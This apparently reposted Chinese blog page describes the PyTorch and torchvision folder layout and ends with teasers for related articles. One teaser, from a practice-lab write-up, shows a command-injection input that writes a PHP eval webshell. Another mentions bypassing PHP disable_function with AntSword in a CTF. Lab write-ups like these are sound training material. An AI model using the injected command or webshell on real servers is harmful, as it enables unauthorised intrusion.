Pytorch文件夹结构

news/2024/12/25 22:39:25 标签: pytorch

Pytorch文件夹结构

_pycache_ 缓存

该文件夹存放python解释器生成的字节码,后缀通常为pyc/pyo。其目的是通过牺牲一定的存储空间来提高加载速度,对应的模块直接读取pyc文件,而不需再次将.py语言转换为字节码的过程,从此节省了时间。

从文件夹名称可知,它是一个缓存,如果需要,我们当然可以删掉它。

_C 封装起来的C++

从文件夹名称就知道它和C语言有关,其实它是辅助C语言代码调用的一个模块,该文件夹里存放了一系列pyi文件,pyi文件是python用来校验数据类型的,如果调用数据类型不规范,会报错。

PyTorch的底层计算代码采用的是C++语言编写,并封装成库,供pytorch的python语言进行调用。这一点非常重要,后续我们会发现一些pytorch函数无法跳转到具体实现,这是因为具体的实现通过C++语言。

include C++的头文件

上面讲到pytorch许多底层运算用的是C++代码,那么C++代码在哪里呢? 它们在这里,在torch/csrc文件夹下可以看到各个.h/.hpp文件,而在python库中,只包含头文件,这些头文件就在include文件夹下。

lib 链接库

torch文件夹中最重要的一个模块,torch文件夹占3.2GB的空间,98%的内容都在lib中,占了3.16GB空间。

lib文件夹下包含大量的.lib .dll文件(分别是静态链接库和动态链接库),例如大名鼎鼎的cudnn64_7.dll(占435MB), torch_cuda.dll(940MB)。这些底层库都会被各类顶层python api调用。

autograd 梯度自动求导

该模块是pytorch的核心模块与概念,它实现了梯度的自动求导,极大地简化了深度学习研究者开发的工作量,开发人员只需编写前向传播代码,反向传播部分由autograd自动实现,再也不用手动去推导数学公式,然后编写代码了。

nn 网络层?暂时不理解

相信这个模块是99%pytorch开发者使用频率最高的模块,搭建网络的网络层就在nn.modules里边。

onnx 不理解,后续补充

pytorch模型转换到onnx模型表示的核心模块,进入文件夹可以看到大量的opset**.py。

optim 优化模块

优化模块,深度学习的学习过程,就是不断的优化,而优化使用的方法函数,都暗藏在了optim文件夹中,进入该文件夹,可以看到熟悉的优化方法:“Adam”、“SGD”、“ASGD”等。以及非常重要的学习率调整模块,lr_scheduler.py。、

utils 工具?

utils是各种软件工程中常见的文件夹,其中包含了各类常用工具,其中比较关键的是data文件夹,tensorboard文件夹,这些工具都将在后续章节详细展开。


torchvision模块

datasets 数据读取函数

这里是官方为常用的数据集写的数据读取函数,例如常见的cifar, coco, mnist,svhn,voc都是有对应的函数支持,可以方便地使用轮子,同时也可以学习大牛们是如何写dataset的。

models 视觉模型库,暂时应该用不上

这里是宝藏库,里边存放了经典的、可复现的、有训练权重参数可下载的视觉模型,例如分类的alexnet、densenet、efficientnet、mobilenet-v1/2/3、resnet等,分割模型、检测模型、视频任务模型、量化模型。这个库中的模型实现,也是大家可以借鉴学习的好资料,可以模仿它们的代码结构、函数、类的组织。

ops 视觉任务特殊功能函数?

视觉任务特殊的功能函数,例如检测中用到的 roi_align, roi_pool,boxes的生成,以及focal_loss实现,都在这里边有实现。

transforms 视觉数据增强库

数据增强库,相信99%的初学者用到的第一个视觉数据增强库就是transforms了,transforms是pytorch自带的图像预处理、增强、转换工具,可以满足日常的需求。但无法满足各类复杂场景,因此后续会介绍更强大的、更通用的、使用人数更多的数据增强库——Albumentations。

参考:https://tingsongyu.github.io/PyTorch-Tutorial-2nd/chapter-2/2.1-module-tree.html


http://www.niftyadmin.cn/n/5799535.html

相关文章

Spark和Hadoop之间的区别

1 、 Hadoop Hadoop 是一个由 Apache 基金会所开发的分布式系统基础架构。 用户可以在不了解分布式底层细节的情况下,开发分布式程序。充分利用集群的威力进行高速运算和存储。 Hadoop 实现了一个分布式文件系统(Hadoop Distributed File System &…

GitLab 停止为中国区用户提供 GitLab.com 账号服务

GitLab 通知中国区用户将停止提供 GitLab.com 账号服务,建议现有用户迁移到极狐。 中国 IP 地址现在访问 GitLab.com 会跳转到 about.gitlab.com,推荐用户访问极狐。 Gundaz Aghayev 写道:GitLab 在发送中国地区用户的电子邮件通知中称&…

LeetCode 59. 螺旋矩阵 II (C++实现)

1. 题目描述 给你一个正整数 n ,生成一个包含 1 到 n2 所有元素,且元素按顺时针顺序螺旋排列的 n x n 正方形矩阵 matrix 。 示例 1: 输入:n 3 输出:[[1,2,3],[8,9,4],[7,6,5]] 示例 2: 输入&#xf…

Santa Claus 2 (st表的lower_bound用法)

题目链接&#xff1a;Santa Claus 2 #pragma GCC optimize(2) #include <bits/stdc.h> #define int long long #define fi first #define se second #define all(v) v.begin(),v.end() using namespace std; const int inf 0x3f3f3f3f3f3f3f; const int N 2e55; int …

Linux内核 -- `timer_setup_on_stack` 接口使用与注意事项

Linux 内核 timer_setup_on_stack 接口使用与注意事项 timer_setup_on_stack 是 Linux 内核中用于在栈上设置定时器的函数。与 timer_setup 类似&#xff0c;它初始化一个定时器&#xff0c;但专门用于栈上定时器的使用场景。相比普通定时器&#xff0c;栈上定时器的生命周期仅…

AI一键制作圣诞帽头像丨附详细教程

我用AI换上圣诞帽头像啦~&#x1f385; 不管是搞笑表情、宠物头像还是你的自拍&#xff01;&#xff01;都能一键添加圣诞帽元素&#xff0c;毫无违和感&#xff01;&#x1f389; 详细教程在P3、P4&#xff0c;手残党也能轻松搞定&#xff01; 宝子们需要打“need”&#xff0…

pikachu靶场RCE漏洞

打开pikachu靶场RCE中的exec"ping" 输入127&ls命令可以执行发现是linux系统 在输入127&echo "<?php eval($_POST[cmd]); ?>" > mm.txt 写一个木马语句输入进去&#xff0c;访问一下2.txt&#xff0c;看看语句有什么问题 我们发现$_PO…

CTFHub Web进阶-PHP-Bypass disable_function攻略

LD_PRELOAD 来到页面&#xff0c;使用蚁剑直接连接 连接上进入后没有权限&#xff0c;使用插件来绕过 使用插件为我们创建的木马来连接 Shellshock 首页如图所示&#xff0c;也是直接进行连接&#xff0c;与第一关的区别就是需要修改编码器来进行连接&#xff0c;剩余步骤与第…